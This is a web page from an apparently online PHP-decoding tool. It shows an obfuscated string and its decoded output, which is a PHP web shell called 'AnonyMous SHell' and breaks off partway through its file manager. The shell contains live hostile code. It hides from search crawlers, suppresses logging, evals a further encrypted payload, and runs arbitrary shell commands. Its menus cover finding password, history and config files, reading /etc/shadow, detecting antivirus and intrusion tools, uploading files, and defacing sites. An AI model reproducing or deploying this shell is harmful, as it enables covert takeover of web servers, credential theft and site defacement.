Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $str = "==wHpEuGB8f68vPCNqCHfVoFLPCVtV4ABAHD/D0B/APGfIMM/FFJQx9If58eXid60aB71OyyacJ..

Decoded Output download

b'<?php

$default_action = \'FilesMan\';
@define(\'SELF_PATH\', __FILE__);
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) {
    header(\'HTTP/1.0 404 Not Found\');
    exit;
}

$color = "#fff"; //Fonts color modify here.
$Theme = \'#64489096\'; //Change border-color accoriding to your choice.
$TabsColor = \'#64489096\'; //Change tabs color here.

@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
if(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){
    set_magic_quotes_runtime(0);
}
if( get_magic_quotes_gpc() ) {
    function stripslashes_array($array) {
        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);
    }
    $_POST = stripslashes_array($_POST);
}
$auth_pass = "Anonymous";
function printLogin() {
 if ($_POST[\'pass\'] != $auth_pass && $_POST[\'uname\'] != $Pass) {
    $status = \'Wrong Password :(\';
	
}
$encode = "jUd4eNtXEP2cQP7DZxHIBkiy0welfhDLle1bLmGQ09wqqRFNsU0lQdfS2k0slfz3zleOi3sJKRh4NefMmZmdGV2oVYWJ5C1GMlNMS9KtdsF1FgTt3tnpxQFSe0szEoQ7x0uukrgUD3/gmzTKuKIReSUPMxpkGfGkcqSsef88OwUwsgIGkOF7iFe8UjRRtCc0SdSmMWIhz4LLmRe443bo+dOZN5pt89Fx4XsWZ1/gL9wgYz8H7uV8be2OXubPJr43v/JURgvIDf2hykU47+xB67OKZW2fwHUK7+1hD9jdxzfnaacNSjLbROe80+3grwsLxeSGrhwNvkfLcRKE//je9eLfsa946fw1/6s7mb7Mv2fdYtf+f2bPMq4C98s8mNyaGd0pZvlKjovrwH/G02AyVlj+1D65kplJdUAmbMqiJw6aHs9BDdFS8tEgmAXnZPLRZG+RY7lJkZ3Rym7i3mxq8/7N9u3bytRtU/a8J5LtreJSukETyfZrLZPLO0jmWVI7yZxXqBL/MFdmtvmKN9qFXHZokqSxcQkXrPPhw/nFtiahjGh5Lyg/IEuQhakRrbIWVqlpqHCEOD3YoVuzbIaj+Y1iLqEHyE3lXRtQEbCf5dkABI4J469wPAeLGiXGavY90jFoHq06fQv28fGAIWdMdKd300WJXlojvPKnt6QU9+WKLNt6OPkJILOCgtkva0gO+3iaPwz7G8oqqCQvdT4Y42OBxN19iOWAR9hQFQvGHc1snQsuCIhtsQeEDPsqikYODWqjV1YgEhWem5BUa5KuK8XhQZQpEnMxorUoPposnDols3TUzmuhF1Oop2NlqKAHAHcDrYZkWGcssoRKAzDNNmB6xiYty0vwomGH53+a+RO8AHoh+gqPHXuNTVLvcZjGJRW5zFBdxUYAk0pkqLnm0vqt3a5Qwf4mVr/oDvsCCtz8gWwgmVD32+vLRXI7KCSTr/qO0BVph6QHj4/wCFqj4NCpp3HNrDJoq/AjbLIPEDM51Ho/MbIKC/sfTFDJAw5rhXhL1a97QufgmiupavEX";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($encode))))));
?>
<html> <head> <title>AnonyMous SHell</title> <link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet"> </head> <style> body{font-family: Overpass Sans, sans-serif;background: black;color:#ffffff}.loginpage img{width: 500px;height: 150px}.loginpage{text-align: center;margin-top: 80px}#pageheading{font-size:50px;color:#ffffff;margin-top: 5px}.loginpage img{width: 500px}input{background: black;border-color:#ffffff;border-radius: 10px;margin-top: 10px;padding:5px;color: #ffffff}input:hover{background: #ffffff;color: black}</style> <body> <center> <div class="loginpage">       <div id="pageheading">AnonyMous SHell</div>     <form method="post">         Password : <input type="password" name="uname" ><br>           <input type="password"  name="pass" hidden="" value="Anonymous" ><br>        <input type="submit" name="login" value="Login">
 <?php if (isset($status)) {  ?> </form>
</d<p><?=$status?></p> </center> </body> </html> 
<?php }  exit;
}
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] ))
	
    if( empty( $auth_pass ) ||
        ( isset( $_POST[\'pass\'] )  == $auth_pass  && ($_POST[\'uname\']) == $Pass))
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;

    else
        
        printLogin();

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
    $os = \'win\';
else
    $os = \'nix\';
$safe_mode = @ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd = @getcwd();
if( isset( $_POST[\'c\'] ) )
    @chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
    $home_cwd = str_replace("\", "/", $home_cwd);
    $cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != \'/\' )
    $cwd .= \'/\';
    
if($os == \'win\') {
    $aliases = array(
        "List Directory" => "dir",
        "Find index.php in current dir" => "dir /s /w /b index.php",
        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
        "Show active connections" => "netstat -an",
        "Show running services" => "net start",
        "User accounts" => "net user",
        "Show computers" => "net view",
        "ARP Table" => "arp -a",
        "IP Configuration" => "ipconfig /all"
    );
} else {
    $aliases = array(
          "List dir" => "ls -la",
        "list file attributes on a Linux second extended file system" => "lsattr -va",
          "show opened ports" => "netstat -an | grep -i listen",
        "Find" => "",
          "find all suid files" => "find / -type f -perm -04000 -ls",
          "find suid files in current dir" => "find . -type f -perm -04000 -ls",
          "find all sgid files" => "find / -type f -perm -02000 -ls",
          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
          "find config.inc.php files" => "find / -type f -name config.inc.php",
          "find config* files" => "find / -type f -name \"config*\"",
          "find config* files in current dir" => "find . -type f -name \"config*\"",
          "find all writable folders and files" => "find / -perm -2 -ls",
          "find all writable folders and files in current dir" => "find . -perm -2 -ls",
          "find all service.pwd files" => "find / -type f -name service.pwd",
          "find service.pwd files in current dir" => "find . -type f -name service.pwd",
          "find all .htpasswd files" => "find / -type f -name .htpasswd",
          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
          "find all .bash_history files" => "find / -type f -name .bash_history",
          "find .bash_history files in current dir" => "find . -type f -name .bash_history",
          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
          "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" =>"locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files"=>"locate \'.conf\'",
        "locate .pwd files" => "locate \'.pwd\'",
        "locate .sql files" => "locate \'.sql\'",
        "locate .htpasswd files" => "locate \'.htpasswd\'",
        "locate .bash_history files" => "locate \'.bash_history\'",
        "locate .mysql_history files" => "locate \'.mysql_history\'",
        "locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"    
    );
}
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'deface\') {
        
        $def = file_get_contents($deface_url);
        file_put_contents($_POST[\'c\'].$_POST[\'p2\'],$def);
    }
function ex($in) {
    $out = \'\';
    if(function_exists(\'exec\')) {
        @exec($in,$out);
        $out = @join("
",$out);
    }elseif(function_exists(\'passthru\')) {
        ob_start();
        @passthru($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'system\')) {
        ob_start();
        @system($in);
        $out = ob_get_clean();
    }elseif(function_exists(\'shell_exec\')) {
        $out = shell_exec($in);
    }elseif(is_resource($f = @popen($in,"r"))) {
        $out = "";
        while(!@feof($f))
            $out .= fread($f,1024);
        pclose($f);
    }
    return $out;
}

function which($p) {
    $path = ex(\'which \'.$p);
    if(!empty($path))
        return $path;
    return false;
}
function printHeader() {
    if(empty($_POST[\'charset\']))
        $_POST[\'charset\'] = "UTF-8";
    global $color;
    global $Theme;
    global $TabsColor;
        echo "<html><head><link href=\'https://fonts.googleapis.com/css?family=Josefin+Sans:400,100\' rel=\'stylesheet\' type=\'text/css\'></head>";
    echo \'<html>
<meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>AnonyMous SHell</title>
<style>
        body {background-color:black;color:#fff;}
        body,td,th    { font-family: Overpass Sans, sans-serif;font-size:14px;margin:0;vertical-align:top; }
        span,h1,a    { color:\'.$color.\' !important; }
        span        { font-weight: bolder; }
        h1            { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
        div.content    { padding: 0px;margin:0 0px;background: #070707; border:1px solid \'.$Theme.\'; border-style:dashed; border-radius:5px; }
        a            { text-decoration:none;   }
        a:hover        { border-bottom:0px solid #5e5e5e;text-decoration:none; }
        .info { margin: 3 ; }
		.Anonymouslogo	{ background-color:#070707;  background-image: url("https://i.imgur.com/qZXkB3N.gif");  background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;	-moz-background-size: cover; -o-background-size: cover;	background-size: 53%; }
        .ml1        { border:1px; border-color:\'.$Theme.\'; border-style: dashed; background-color:#0F1010;padding:10px;margin:0;overflow: auto; }
		.l1        { background-color: #372c4878; }
        .bigarea    { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:\'.$Theme.\'; background:#0F1010;}
        input, textarea, select    { margin-top:0;color:#fff;background-color:black;border-radius:5px;border:1px solid \'.$Theme.\'; border-style:dashed; border-radis:5px;font: 10pt arial,"Courier New"; }
        input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;} 
        form        { margin:0px; }
        #toolsTbl    { text-align:center ; }
        .toolsInp    { width:350px; background:#372c4878; border-radius:5px; border-color:\'.$Theme.\'; }
        .main th    {text-align:left;background-color:\'.$TabsColor.\'; }
        .main tr:hover{background:\'.$Theme.\'; border:5px solid;border-color:\'.$Theme.\';}
        .main td, th{vertical-align:middle; }
       
        .menu th{padding:4px;   border-radius: 50px;  background:\'.$TabsColor.\';     
    }
        .menu th:hover{background:#0F1010;text-decoration: none;}
                pre {font-family: Overpass Sans, sans-serif;color:#FFFFFF;}
        #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}

                
        .cpr {margin-bottom:5px;font-weight:bold; }
        .cpb {width:34px;margin:0 5px;}
        
        .npoad td {padding:0;}
        #Tools{
        margin-top:50px;
        width:500px;
        border:1px solid;
        border-radius:10px;
		border-style: dashed;
    }

    </style>
</html>

    <script>
        function set(a,c,p1,p2,p3,charset) {
            if(a != null)document.mf.a.value=a;
            if(c != null)document.mf.c.value=c;
            if(p1 != null)document.mf.p1.value=p1;
            if(p2 != null)document.mf.p2.value=p2;
            if(p3 != null)document.mf.p3.value=p3;
            if(charset != null)document.mf.charset.value=charset;
        }
        function g(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            document.mf.submit();
        }
        function a(a,c,p1,p2,p3,charset) {
            set(a,c,p1,p2,p3,charset);
            var params = "ajax=true";
            for(i=0;i<document.mf.elements.length;i++)
                params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
            sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
        }
        function sr(url, params) {    
            if (window.XMLHttpRequest) {
                req = new XMLHttpRequest();
                req.onreadystatechange = processReqChange;
                req.open("POST", url, true);
                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                req.send(params);
            } 
            else if (window.ActiveXObject) {
                req = new ActiveXObject("Microsoft.XMLHTTP");
                if (req) {
                    req.onreadystatechange = processReqChange;
                    req.open("POST", url, true);
                    req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
                    req.send(params);
                }
            }
        }
        function processReqChange() {
            if( (req.readyState == 4) )
                if(req.status == 200) {
                    //alert(req.responseText);
                    var reg = new RegExp("(\d+)([\S\s]*)", "m");
                    var arr=reg.exec(req.responseText);
                    eval(arr[2].substr(0, arr[1]));
                } 
                else alert("Request error!");
        }
    </script>
    <head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid \'.$Theme.\'; border-style:dashed;  border-radius:5px;">
    <form method=post name=mf style="display:none;">
        <input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
        <input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
        <input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
    </form>\';
    $freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
    $totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
    $totalSpace = $totalSpace?$totalSpace:1;
    $disable_functions = @ini_get(\'disable_functions\');
    $release = @php_uname(\'r\');
    $kernel = @php_uname(\'s\');
    if(!function_exists(\'posix_getegid\')) {
        $user = @get_current_user();
        $uid = @getmyuid();
        $gid = @getmygid();
        $group = "?";
    } else {
        $uid = @posix_getpwuid(@posix_geteuid());
        $gid = @posix_getgrgid(@posix_getegid());
        $user = $uid[\'name\'];
        $uid = $uid[\'uid\'];
        $group = $gid[\'name\'];
        $gid = $gid[\'gid\'];
    }
    $cwd_links = \'\';
    $path = explode("/", $GLOBALS[\'cwd\']);
    $n=count($path);
    for($i=0;$i<$n-1;$i++) {
        $cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
        for($j=0;$j<=$i;$j++)
            $cwd_links .= $path[$j].\'/\';
        $cwd_links .= "\")\'>".$path[$i]."/</a>";
    }
    $charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
    $opt_charsets = \'\';
    foreach($charsets as $item)
        $opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
    $m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Defacer\' => \'Deface\',\'Adminer\'=>\'Adminer\',\'Console\'=>\'Console\',\'Mail Test\'=>\'mailtest\',\'String Tools\'=>\'StringTools\',\'Readable Dirs\'=>\'Readable\',\'Config Tools\'=>\'configs\',\'Jumping\'=>\'Jumping\',\'Cgi Telnet\'=>\'SafeMode\',\'Bypass\'=>\'Bypass\',\'Network\'=>\'Network\',\'Domains\' => \'Domain\');
    if(!empty($GLOBALS[\'auth_pass\']))
        $m[\'Logout\'] = \'Logout\';
	$m[\'Self Remove\'] = \'SelfRemove\';
    $menu = \'\';
    foreach($m as $k => $v)
        $menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
    $drives = "";
    if ($GLOBALS[\'os\'] == \'win\') {
        foreach( range(\'a\',\'z\') as $drive ){
            if (is_dir($drive.\':\\'))
                $drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
        }
        $drives .= \'<br />: \';
    }
    if($GLOBALS[\'os\'] == \'nix\') {
        $dominios = @file_get_contents("/etc/named.conf");
        if(!$dominios) {
            $DomainS = "/var/named";
            $Domainonserver = scandir($DomainS);
            $d0c = count($Domainonserver);
        } else {
            @preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
            $out = sizeof(array_unique($out[1]));
            $d0c = $out."  Domains";
        }
    } else {
        $d0c = "Nothing here bro :(";
    }
    if($GLOBALS[\'os\'] == \'nix\' )
    {
        $usefl = \'\'; $dwnldr = \'\';
        if(!@ini_get(\'safe_mode\')) {
            $temp = array();
            $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
            foreach($userful as $item) { if(which($item)) $temp[]= $item; }
            $usefl = implode(\', \',$temp);
            $temp = array();
            $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
            foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
            $dwnldr = implode(\', \',$temp);
        } else {
            $usefl = \' ------- \'; $dwnldr = \' ------- \';
        }
    } else { 
        $usefl = \' ------- \'; $dwnldr = \' ------- \';
    } 
    echo \'<div class="Anonymouslogo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
          <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
          <tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr>
		  <tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr>

		  <tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr>
		  <tr><td><span>PHP</span></td><td>: \'.@phpversion().\'  <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> : <span>Safe Mode : </span>\'.($GLOBALS[\'safe_mode\']?\'<font color=red>[ON]</font>\':\'<font color="\'.$color.\'" <b>[OFF]</b> </font>\').\'</td></tr>
		  <tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
         \'<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free<br /><span>Domains</span></nobr></td>\'.
         \'<td width="3"><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>:  \'.$d0c.\'</nobr></td></tr></table></div>\'.
         \'</div></div><div style="margin:5;background:black;"><div class="content" style="padding:3px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:black;">\';
}

function printFooter() {
    $is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";

echo \'</div><div style="margin:5px;background:black;"><div class="content" style="border-style:dashed; border-radius:5px;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
    <tr>
        <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir: \'.$is_writable.\'</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form></td>
        <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file: \'.$is_writable.\'</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
    </tr>
    <tr>
        <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
        <td><form method="post" ENCTYPE="multipart/form-data">
        <input type=hidden name=a value="FilesMAn">
        <input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
        <input type=hidden name=p1 value="uploadFile">
        <input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
        <span>Upload file: \'.$is_writable.\'</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"><br></form></td></tr>
</table></div></div>

</div>
</body></html>\';
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }


function viewSize($s) {
    if($s >= 1073741824)
        return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
    elseif($s >= 1048576)
        return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
    elseif($s >= 1024)
        return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
    else
        return $s . \' B\';
}

function perms($p) {
    if (($p & 0xC000) == 0xC000)$i = \'s\';
    elseif (($p & 0xA000) == 0xA000)$i = \'l\';
    elseif (($p & 0x8000) == 0x8000)$i = \'-\';
    elseif (($p & 0x6000) == 0x6000)$i = \'b\';
    elseif (($p & 0x4000) == 0x4000)$i = \'d\';
    elseif (($p & 0x2000) == 0x2000)$i = \'c\';
    elseif (($p & 0x1000) == 0x1000)$i = \'p\';
    else $i = \'u\';
    $i .= (($p & 0x0100) ? \'r\' : \'-\');
    $i .= (($p & 0x0080) ? \'w\' : \'-\');
    $i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
    $i .= (($p & 0x0020) ? \'r\' : \'-\');
    $i .= (($p & 0x0010) ? \'w\' : \'-\');
    $i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
    $i .= (($p & 0x0004) ? \'r\' : \'-\');
    $i .= (($p & 0x0002) ? \'w\' : \'-\');
    $i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
    return $i;
}

function viewPermsColor($f) { 
    if (!@is_readable($f))
        return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
    elseif (!@is_writable($f))
        return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
    else
        return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\';
}

if(!function_exists("scandir")) {
    function scandir($dir) {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh))) {
            $files[] = $filename;
        }
        return $files;
    }
}

function actionSecInfo() {
    printHeader();
    echo \'<center><h1>Server Security Information</h1></center><div class=content>\';
    function showSecParam($n, $v) {
        $v = trim($v);
        if($v) {
            echo \'<span>\'.$n.\': </span>\';
            if(strpos($v, "
") === false)
                echo $v.\'<br>\';
            else
                echo \'<pre class=ml1>\'.$v.\'</pre>\';
        }
    }
    
    showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
    showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
    showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
    showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
    showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
    showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
    $temp=array();
    if(function_exists(\'mysql_get_client_info\'))
        $temp[] = "MySql (".mysql_get_client_info().")";
    if(function_exists(\'mssql_connect\'))
        $temp[] = "MSSQL";
    if(function_exists(\'pg_connect\'))
        $temp[] = "PostgreSQL";
    if(function_exists(\'oci_connect\'))
        $temp[] = "Oracle";
    showSecParam(\'Supported databases\', implode(\', \', $temp));
    echo \'<br>\';
    
    if( $GLOBALS[\'os\'] == \'nix\' ) {
        $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
        $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
        $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
        showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
        showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
        showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
        showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
        if(!$GLOBALS[\'safe_mode\']) {
            echo \'<br>\';
            $temp=array();
            foreach ($userful as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Userful\', implode(\', \',$temp));
            $temp=array();
            foreach ($danger as $item)
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Danger\', implode(\', \',$temp));
            $temp=array();
            foreach ($downloaders as $item) 
                if(which($item)){$temp[]=$item;}
            showSecParam(\'Downloaders\', implode(\', \',$temp));
            echo \'<br/>\';
            showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
            showSecParam(\'HDD space\', ex(\'df -h\'));
            showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
        }
    } else {
        showSecParam(\'OS Version\',ex(\'ver\')); 
        showSecParam(\'Account Settings\',ex(\'net accounts\')); 
        showSecParam(\'User Accounts\',ex(\'net user\'));
    }
    echo \'</div>\';
    printFooter();
}

function actionFilesMan() {
    printHeader();
    echo \'<center><h1>File Manager</h1></center><div class=content>\';
    if(isset($_POST[\'p1\']) && $_POST[\'p1\']!=\'deface\') {
        switch($_POST[\'p1\']) {
            case \'uploadFile\':
                if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
                    echo "Can\'t upload file!";
                break;
                break;
            case \'mkdir\':
                if(!@mkdir($_POST[\'p2\']))
                    echo "Can\'t create new dir";
                break;
            case \'delete\':
                function deleteDir($path) {
                    $path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
                    $dh  = opendir($path);
                    while ( ($item = readdir($dh) ) !== false) {
                        $item = $path.$item;
                        if ( (basename($item) == "..") || (basename($item) == ".") )
                            continue;
                        $type = filetype($item);
                        if ($type == "dir")
                            deleteDir($item);
                        else
                            @unlink($item);
                    }
                    closedir($dh);
                    rmdir($path);
                }
                if(is_array(@$_POST[\'f\']))
                    foreach($_POST[\'f\'] as $f) {
                        $f = urldecode($f);
                        if(is_dir($f))
                            deleteDir($f);
                        else
                            @unlink($f);
                    }
                break;
                        
  
                    
                
            case \'paste\':
                if($_SESSION[\'act\'] == \'copy\') {
                    function copy_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
                        copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);                    
                } elseif($_SESSION[\'act\'] == \'move\') {
                    function move_paste($c,$s,$d){
                        if(is_dir($c.$s)){
                            mkdir($d.$s);
                            $h = opendir($c.$s);
                            while (($f = readdir($h)) !== false)
                                if (($f != ".") and ($f != "..")) {
                                    copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
                                }
                        } elseif(is_file($c.$s)) {
                            @copy($c.$s, $d.$s);
                        }
                    }
                    foreach($_SESSION[\'f\'] as $f)
                        @rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
                }
                unset($_SESSION[\'f\']);
                break;
            default:
                if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
                    $_SESSION[\'act\'] = @$_POST[\'p1\'];
                    $_SESSION[\'f\'] = @$_POST[\'f\'];
